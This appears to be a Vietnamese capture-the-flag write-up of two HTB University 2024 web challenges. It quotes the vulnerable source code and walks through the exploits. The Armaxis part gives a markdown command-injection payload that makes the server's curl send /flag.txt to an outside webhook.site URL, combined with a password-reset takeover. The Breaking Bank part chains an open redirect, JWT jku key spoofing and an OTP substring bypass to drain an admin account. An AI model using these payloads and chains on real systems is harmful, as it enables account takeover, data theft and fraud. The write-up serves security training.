---
# System prepended metadata

title: HTB CTF UNIVERSITY 2024

---

# HTB CTF UNIVERSITY 2024
# ARMAXIS
Sau khi lục lọi các file code, mình thấy rằng có một số thứ có thể dùng để khai thác:
<details>
<summary>markdown.js</summary>

```javascript=
function parseMarkdown(content) {
    if (!content) return '';
    return md.render(
        content.replace(/\!\[.*?\]\((.*?)\)/g, (match, url) => {
            try {
                const fileContent = execSync(`curl -s ${url}`);
                const base64Content = Buffer.from(fileContent).toString('base64');
                return `<img src="data:image/*;base64,${base64Content}" alt="Embedded Image">`;
            } catch (err) {
                console.error(`Error fetching image from URL ${url}:`, err.message);
                return `<p>Error loading image: ${url}</p>`;
            }
        })
    );
}
```
</details>
<details>
<summary>/routes/index.js</summary>

```javascript=
const express = require("express");
const crypto = require("crypto");
const {
  createUser,
  getUserByEmail,
  updateUserPassword,
  getWeaponsByUserId,
  dispatchWeapon,
  createPasswordReset,
  getPasswordReset,
  deletePasswordReset,
  getUserById,
} = require("../database");
const {
  generateToken,
  verifyToken,
  transporter,
  authenticate,
} = require("../utils");
const { parseMarkdown } = require("../markdown");
const router = express.Router();

router.get("/", (req, res) => {
  res.render("index.html", { title: "Armaxis" });
});

router.get("/reset-password", (req, res) => {
  res.render("reset-password.html");
});

router.post("/register", async (req, res) => {
  const { email, password } = req.body;
  if (!email || !password)
    return res.status(400).send("Email and password are required.");

  try {
    await createUser(email, password, "user");
    console.log("User registered successfully.");
    res.send("Registration successful.");
  } catch (err) {
    if (err.message.includes("UNIQUE constraint failed")) {
      return res.status(400).send("Email already registered.");
    }
    console.error("Registration error:", err);
    res.status(500).send("Error during registration.");
  }
});

router.post("/login", async (req, res) => {
  const { email, password } = req.body;

  if (!email || !password) {
    return res.status(400).send("Email and password are required.");
  }

  try {
    const user = await getUserByEmail(email);
    if (!user || user.password !== password) {
      console.log("Invalid credentials or user not found.");
      return res.status(401).send("Invalid credentials.");
    }

    const token = generateToken({ id: user.id, role: user.role });
    res.cookie("token", token, { httpOnly: true });
    res.send("Login Successful");
  } catch (err) {
    console.error("Database error during login:", err);
    res.status(500).send("Internal server error.");
  }
});

router.get("/logout", (req, res) => {
  res.clearCookie("token", { httpOnly: true });
  res.redirect("/");
});

router.get("/weapons/dispatch", authenticate, (req, res) => {
  const { role } = req.user;
  if (role !== "admin") return res.status(403).send("Access denied.");
  res.render("dispatch-weapon.html", {
    title: "Dispatch Weapon",
    user: req.user,
  });
});

router.post("/weapons/dispatch", authenticate, async (req, res) => {
  const { role } = req.user;
  if (role !== "admin") return res.status(403).send("Access denied.");

  const { name, price, note, dispatched_to } = req.body;
  if (!name || !price || !note || !dispatched_to) {
    return res.status(400).send("All fields are required.");
  }

  try {
    const parsedNote = parseMarkdown(note);

    await dispatchWeapon(name, price, parsedNote, dispatched_to);

    res.send("Weapon dispatched successfully.");
  } catch (err) {
    console.error("Error dispatching weapon:", err);
    res.status(500).send("Error dispatching weapon.");
  }
});

router.get("/weapons", authenticate, async (req, res) => {
  const userId = req.user.id;
  const user = await getUserById(userId);
  try {
    const weapons = await getWeaponsByUserId(user.email);

    res.render("weapons.html", {
      title: "Your Dispatched Weapons",
      weapons,
      user: req.user,
    });
  } catch (err) {
    console.error("Error fetching weapons:", err);
    res.status(500).send("Error fetching weapons.");
  }
});
router.post("/reset-password/request", async (req, res) => {
  const { email } = req.body;
  if (!email) return res.status(400).send("Email is required.");

  try {
    const user = await getUserByEmail(email);
    if (!user) return res.status(404).send("User not found.");

    const resetToken = crypto.randomBytes(16).toString("hex");
    const expiresAt = Date.now() + 3600000;

    await createPasswordReset(user.id, resetToken, expiresAt);

    await transporter.sendMail({
      from: "noreply@frontier.com",
      to: email,
      subject: "Password Reset",
      text: `Use this token to reset your password: ${resetToken}`,
    });

    res.send("Password reset token sent to your email.");
  } catch (err) {
    console.error("Error processing reset request:", err);
    res.status(500).send("Error processing reset request.");
  }
});

router.post("/reset-password", async (req, res) => {
  const { token, newPassword, email } = req.body; // Added 'email' parameter
  if (!token || !newPassword || !email)
    return res.status(400).send("Token, email, and new password are required.");

  try {
    const reset = await getPasswordReset(token);
    if (!reset) return res.status(400).send("Invalid or expired token.");

    const user = await getUserByEmail(email);
    if (!user) return res.status(404).send("User not found.");

    await updateUserPassword(user.id, newPassword);
    await deletePasswordReset(token);

    res.send("Password reset successful.");
  } catch (err) {
    console.error("Error resetting password:", err);
    res.status(500).send("Error resetting password.");
  }
});

module.exports = router;
```
</details>

- Thứ nhất, trong file markdown.js, mình thấy được có một lệnh curl và các input không hề được lọc command injection.
- Thứ hai, trong file index ở folder routes, hàm reset-password có một lỗi logic khá là nghiêm trọng. Đầu tiên nó nhận cả param email và token, và chỉ cần param token tồn tại (bất kể nó của user nào), nó cũng có thể nhảy sang getUserByEmail và thay đổi mật khẩu mà chúng ta muốn.

Vậy, để đọc được flag, mình sẽ cố gắng sử dụng command injection để lấy được file flag.txt. Ý tưởng bài này đó là thêm 1 express của curl đó là -d '@/flag.txt' và gọi tới server webhook, để lệnh curl gửi file flag qua server webhook của mình. Trước hết, mình sẽ cố gắng đăng nhập vào tài khoản admin bằng email **admin@armaxis.htb** bằng lỗ hổng đã tìm được.
Đầu tiên mình sẽ đăng kí bằng email mà đề bài đã cho **test@email.htb** và sử dụng hàm reset-password. 
![image](https://hackmd.io/_uploads/BJ_lWcYByl.png)
Sau khi có token, ta chỉ cần thay đổi mật khẩu admin về 1 và đăng nhập. Cuối cùng, ta vào `http://localhost:1337/weapons/dispatch` và tạo một cái thẻ markdown có format theo regex như sau: `![something](url)`. Payload của mình: 
```
![a]([url](https://webhook.site/a9dac18d-11ba-4b5e-9a33-2700e2a6e3e9) -d '@/flag.txt')
```
![image](https://hackmd.io/_uploads/r1nqzqYSyg.png)
Đây là weapon của mình sau khi đã tạo:
![image](https://hackmd.io/_uploads/H1C_MqtBJg.png)
![image](https://hackmd.io/_uploads/BJJpG9KHkx.png)
> Flag: HTB{FAKE_FLAG_FOR_TESTING}

# Breaking Bank
> In the sprawling digital expanse of the Frontier Cluster, the Frontier Board seeks to cement its dominance by targeting the cornerstone of interstellar commerce: Cluster Credit, a decentralized cryptocurrency that keeps the economy alive. With whispers of a sinister 51% attack in motion, the Board aims to gain majority control of the Cluster Credit blockchain, rewriting transaction history and collapsing the fragile economy of the outer systems. Can you hack into the platform and drain the assets for the financial controller?

Đề bài yêu cầu chúng ta phải chuyển hết loại tiền CLCR của admin về 0.
Ở bài này, có 3 vấn đề mà ta sẽ lưu ý:
<details>
<summary>analytics.js</summary>
    
```javascript=
import { trackClick, getAnalyticsData } from '../services/analyticsService.js';

export default async function analyticsRoutes(fastify) {
    fastify.get('/redirect', async (req, reply) => {
        const { url, ref } = req.query;

        if (!url || !ref) {
            return reply.status(400).send({ error: 'Missing URL or ref parameter' });
        }
        // TODO: Should we restrict the URLs we redirect users to?
        try {
            await trackClick(ref, decodeURIComponent(url));
            reply.header('Location', decodeURIComponent(url)).status(302).send();
        } catch (error) {
            console.error('[Analytics] Error during redirect:', error.message);
            reply.status(500).send({ error: 'Failed to track analytics data.' });
        }
    });

    fastify.get('/data', async (req, reply) => {
        const { start = 0, limit = 10 } = req.query;

        try {
            const analyticsData = await getAnalyticsData(parseInt(start), parseInt(limit));
            reply.send(analyticsData);
        } catch (error) {
            console.error('[Analytics] Error fetching data:', error.message);
            reply.status(500).send({ error: 'Failed to fetch analytics data.' });
        }
    });
}

```
</details>

- Thứ nhất, trong file analytics, tác giả đã gợi ý cho ta về một hàm có thể dẫn tới lỗi Open Redirect. Vì trong hàm, họ đã đặt một header Location dẫn tới một đường dẫn mà chúng ta có thể thay đổi bằng param url và param ref.
<details>
<summary>otpMiddleware.js</summary>

```javascript=
import { hgetField } from '../utils/redisUtils.js';

export const otpMiddleware = () => {
  return async (req, reply) => {
    const userId = req.user.email;
    const { otp } = req.body;

    const redisKey = `otp:${userId}`;
    const validOtp = await hgetField(redisKey, 'otp');

    if (!otp) {
      reply.status(401).send({ error: 'OTP is missing.' });
      return
    }

    if (!validOtp) {
      reply.status(401).send({ error: 'OTP expired or invalid.' });
      return;
    }

    // TODO: Is this secure enough?
    if (!otp.includes(validOtp)) {
      reply.status(401).send({ error: 'Invalid OTP.' });
      return;
    }
  };
};

```
</details>

- Thứ hai, trong file otpMiddleware.js, việc validate otp là vô cùng rủi ro khi họ dùng includes để check xem otp là gì. Hàm includes là hàm dùng để check xem có tồn tại một chuỗi trong otp không, nghĩa là khi ta sử dụng 'long'.includes('on'), nó sẽ trả về **true**.
![image](https://hackmd.io/_uploads/BkFQ-7iS1e.png)

<details>
<summary>jwksService.js</summary>

```javascript=
import crypto from 'crypto';
import jwt from 'jsonwebtoken';
import axios from 'axios';
import { v4 as uuidv4 } from 'uuid';
import { setKeyWithTTL, getKey } from '../utils/redisUtils.js';

const KEY_PREFIX = 'rsa-keys';
const JWKS_URI = 'http://127.0.0.1:1337/.well-known/jwks.json';
const KEY_ID = uuidv4();

export const generateKeys = async () => {
    const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
        modulusLength: 2048,
        publicKeyEncoding: { type: 'spki', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs8', format: 'pem' },
    });

    const publicKeyObject = crypto.createPublicKey(publicKey);
    const publicJwk = publicKeyObject.export({ format: 'jwk' });

    const jwk = {
        kty: 'RSA',
        ...publicJwk,
        alg: 'RS256',
        use: 'sig',
        kid: KEY_ID,
    };

    const jwks = {
        keys: [jwk],
    };

    await setKeyWithTTL(`${KEY_PREFIX}:private`, privateKey, 0);
    await setKeyWithTTL(`${KEY_PREFIX}:jwks`, JSON.stringify(jwks), 0);
};

const getPrivateKey = async () => {
    const privateKey = await getKey(`${KEY_PREFIX}:private`);
    if (!privateKey) {
        throw new Error('Private key not found in Redis. Generate keys first.');
    }
    return privateKey;
};

export const getJWKS = async () => {
    const jwks = await getKey(`${KEY_PREFIX}:jwks`);
    if (!jwks) {
        throw new Error('JWKS not found in Redis. Generate keys first.');
    }
    return JSON.parse(jwks);
};

export const createToken = async (payload) => {
    const privateKey = await getPrivateKey();
    return jwt.sign(payload, privateKey, {
        algorithm: 'RS256',
        header: {
            kid: KEY_ID,
            jku: JWKS_URI,
        },
    });
};

export const verifyToken = async (token) => {
    try {
        const decodedHeader = jwt.decode(token, { complete: true });

        if (!decodedHeader || !decodedHeader.header) {
            throw new Error('Invalid token: Missing header');
        }

        const { kid, jku } = decodedHeader.header;

        if (!jku) {
            throw new Error('Invalid token: Missing header jku');
        }

        // TODO: is this secure enough?
        if (!jku.startsWith('http://127.0.0.1:1337/')) {
            throw new Error('Invalid token: jku claim does not start with http://127.0.0.1:1337/');
        }

        if (!kid) {
            throw new Error('Invalid token: Missing header kid');
        }

        if (kid !== KEY_ID) {
            return new Error('Invalid token: kid does not match the expected key ID');
        }

        let jwks;
        try {
            const response = await axios.get(jku);
            if (response.status !== 200) {
                throw new Error(`Failed to fetch JWKS: HTTP ${response.status}`);
            }
            jwks = response.data;
        } catch (error) {
            throw new Error(`Error fetching JWKS from jku: ${error.message}`);
        }

        if (!jwks || !Array.isArray(jwks.keys)) {
            throw new Error('Invalid JWKS: Expected keys array');
        }

        const jwk = jwks.keys.find((key) => key.kid === kid);
        if (!jwk) {
            throw new Error('Invalid token: kid not found in JWKS');
        }

        if (jwk.alg !== 'RS256') {
            throw new Error('Invalid key algorithm: Expected RS256');
        }

        if (!jwk.n || !jwk.e) {
            throw new Error('Invalid JWK: Missing modulus (n) or exponent (e)');
        }

        const publicKey = jwkToPem(jwk);

        const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'] });
        return decoded;
    } catch (error) {
        console.error(`Token verification failed: ${error.message}`);
        throw error;
    }
};

const jwkToPem = (jwk) => {
    if (jwk.kty !== 'RSA') {
        throw new Error("Invalid JWK: Key type must be 'RSA'");
    }

    const key = {
        kty: jwk.kty,
        n: jwk.n.toString('base64url'),
        e: jwk.e.toString('base64url'),
    };

    const pem = crypto.createPublicKey({
        key,
        format: 'jwk',
    });

    return pem.export({ type: 'spki', format: 'pem' });
};
```
</details>

- Thứ 3, bài này sử dụng header **jku** để fetch về key sets. Sau đó, tìm bằng key ID (header **kid**) nhờ đoạn code này `const jwk = jwks.keys.find((key) => key.kid === kid);
`. Và cuối cùng nó sử dụng public key được tạo thành từ các header còn lại và verify bằng mã RS256. Có thể thấy, mã RS256 sử dụng private key để sign key cho jwt token, sau đó sử dụng public key để verify. Nhờ có lỗi open redirect đã được nêu trên, ta có thể dẫn jku tới key sets, cùng với public key và private key do ta tự tạo, và đăng nhập và email **financial-controller@frontier-board.htb**. 

Vậy bây giờ, mình sẽ cố gắng craft một jwt token để có thể đăng nhập vào tài khoản admin. Đầu tiên, mình sẽ đăng nhập vào tài khoản do mình đã tạo.
![image](https://hackmd.io/_uploads/rJfrf4jH1e.png)
Lúc này, ta sẽ có một token ở local storage:
`eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjdmZTI4MTJmLWJjMzctNDU3Ni1hOTUxLWJjNzBkOGQyNjg5MSIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy8ud2VsbC1rbm93bi9qd2tzLmpzb24ifQ.eyJlbWFpbCI6ImZhaXJ5dGFpbC5idHRAZ21haWwuY29tIiwiaWF0IjoxNzM1MjM5MTU4fQ.G4WvGL-FOdNf5O_C_4OCvryNPE4fAdtMj0f2Cg2zYyrsw9_M8gQebnbo8M5gIv-imca-yblrYtIlbYK4BMTBGmTNncLDBZdEJODNx4Q7Ze5WmitdzQM5jEaYL8PMLlllNA0G0Rs1v8zK9Iixq1mQ9O85dDmPzSstK6DMoMAN2c2mVg9rxq0k_SKXy2YFc8hoEF4SUF9KOrp8ShDrhHxToO00G73S8S1A8Q_CEPH06UBS6eMcNUg6W1mxGBj9XK1aG9_ROYBXHxuQKrdFQcTRx8zutBydEu3MIyf4ulZcrdUp4EUwIXLoTxvJsLQYIjRhcdi-kh6WjNp-FlZrzKTtSg`
![image](https://hackmd.io/_uploads/B10IpQjSkx.png)
Lúc này, mình sẽ dùng [mkjwk](https://mkjwk.org/) để craft key sets.
![image](https://hackmd.io/_uploads/ryYy0QjSJx.png)
Sau đó, mình sẽ dùng [8gwifi](https://8gwifi.org/jwkconvertfunctions.jsp) để tạo ra các file pem của public key và private key. Cuối cùng ta dùng public key để tạo chữ kí cho jwt token.
![image](https://hackmd.io/_uploads/ry4EkEiSJg.png)
![image](https://hackmd.io/_uploads/BJcP1VoSyx.png)
Cuối cùng mình đã đăng nhập được admin. (tài khoản admin có tiền)
![image](https://hackmd.io/_uploads/HJjeMNsSJx.png)
Lúc này, mình chỉ việc kết bạn với tài khoản mình đã tạo trước đó. Tiếp đến, mình sẽ đến khâu bypass OTP. Mình sẽ generate otp bằng đoạn code sau:
```python=
 print(''.join(f"{i:04d}" for i in range(10000)))
```
![image](https://hackmd.io/_uploads/Bk8NYViByl.png)

Cuối cùng, gửi tất cả số tiền CLCR về tạo khoản test và nhận flag.
![image](https://hackmd.io/_uploads/B1Fns4irke.png)
![image](https://hackmd.io/_uploads/Hkw0iEoSyg.png)

> Flag: HTB{f4k3_fl4g_f0r_t35t1ng}